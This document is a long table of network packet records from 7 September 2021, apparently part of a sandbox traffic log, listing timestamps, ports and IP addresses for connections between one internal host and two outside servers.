Sep 7, 2021 16:02:45.822086096 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822088957 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822109938 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822137117 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822138071 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822160959 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822184086 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822192907 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822208881 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822232962 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822243929 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822256088 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822297096 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822307110 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822330952 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822356939 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.822365999 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.822412968 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.899903059 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.899946928 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.899971962 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.899997950 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900021076 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900048018 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900070906 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900085926 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900093079 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900119066 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900135994 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900141954 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900166988 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900167942 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900193930 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900198936 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900219917 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900245905 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900247097 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900271893 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900295973 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900310993 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900319099 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900343895 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900361061 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900369883 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900384903 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900408983 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900413036 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900434017 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900445938 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900459051 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900482893 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900502920 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900506020 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900530100 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900540113 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900557995 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900584936 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900585890 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900609970 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900634050 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900644064 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900656939 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900680065 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900691986 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900705099 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900727987 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900739908 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900754929 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900779009 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900789976 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900803089 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900826931 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900837898 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900854111 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900876045 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900887012 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900898933 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900921106 CEST	9080	49749	193.56.146.41	192.168.2.4
Sep 7, 2021 16:02:45.900928974 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:45.900975943 CEST	49749	9080	192.168.2.4	193.56.146.41
Sep 7, 2021 16:02:47.659252882 CEST	49750	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:47.726913929 CEST	80	49750	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:47.727219105 CEST	49750	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:47.813641071 CEST	49750	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:47.813740015 CEST	49750	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:47.881263018 CEST	80	49750	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.038903952 CEST	80	49750	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.039189100 CEST	80	49750	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.039892912 CEST	49750	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.097285032 CEST	49750	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.164736986 CEST	80	49750	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.176381111 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.252545118 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.252815962 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.280618906 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.282660007 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.354892015 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.356559038 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638307095 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638449907 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638475895 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638504028 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638526917 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.638550043 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638576031 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.638583899 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638607025 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638628960 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638653040 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.638660908 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638688087 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.638694048 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.638747931 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.717137098 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717202902 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717251062 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717278004 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.717346907 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717391014 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717410088 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.717451096 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717488050 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717510939 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.717556953 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717613935 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.717637062 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717678070 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717722893 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717737913 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.717777014 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717804909 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717834949 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.717869997 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717936039 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.717950106 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.718008995 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.718071938 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.718090057 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.718148947 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.718208075 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.718230009 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.718286991 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.718374014 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.791243076 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.791271925 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.791347027 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.791956902 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.791981936 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792006016 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792027950 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792033911 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.792051077 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792073011 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.792077065 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792103052 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792114973 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.792850971 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792880058 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792903900 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792912006 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.792927027 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792949915 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.792951107 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792973995 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.792995930 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.792996883 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793021917 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793044090 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793045044 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793071032 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793100119 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793101072 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793124914 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793150902 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793152094 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793175936 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793200970 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793203115 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793225050 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793248892 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793271065 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793272972 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793293953 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793306112 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793317080 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793343067 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793353081 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793366909 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793390036 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793406010 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793412924 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793436050 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793442011 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793458939 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793482065 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793486118 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793504000 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793529034 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793529987 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793554068 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793577909 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.793581963 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.793629885 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.864233017 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.864268064 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.864286900 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.864310026 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.864322901 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.864351034 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.864958048 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865235090 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865264893 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865287066 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865287066 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.865309000 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865329027 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.865330935 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865351915 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865365982 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.865372896 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865394115 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865408897 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.865415096 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865438938 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865449905 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.865463018 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.865494013 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866485119 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866508007 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866525888 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866544008 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866559029 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866559982 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866604090 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866633892 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866657972 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866674900 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866681099 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866702080 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866720915 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866724014 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866740942 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866760015 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866770029 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866780043 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866799116 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866801023 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866841078 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866859913 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866885900 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866906881 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866925955 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866938114 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866945028 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866966009 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.866966009 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.866985083 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867003918 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867005110 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.867022991 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867043018 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.867044926 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867065907 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867084980 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867088079 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.867105961 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867127895 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.867145061 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867166042 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867187023 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867201090 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.867202997 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867222071 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.867224932 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.867270947 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.938019991 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.938059092 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.938083887 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.938106060 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.938121080 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.938191891 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.938791990 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.938813925 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.938858986 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.938936949 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.938977957 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939019918 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.939027071 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939043999 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939059973 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939081907 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939085007 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.939105034 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939129114 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.939156055 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939179897 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939198017 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.939202070 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.939244986 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.940133095 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.940185070 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.940226078 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.940234900 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.940248966 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.940267086 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.940285921 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.940289021 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.940327883 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.940944910 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.940989017 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941025972 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941030025 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941061974 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941097021 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941163063 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941190958 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941215992 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941231966 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941239119 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941262007 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941281080 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941282988 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941307068 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941325903 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941330910 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941351891 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941373110 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941375017 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941404104 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941423893 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941426992 CEST	80	49751	5.188.88.63	192.168.2.4
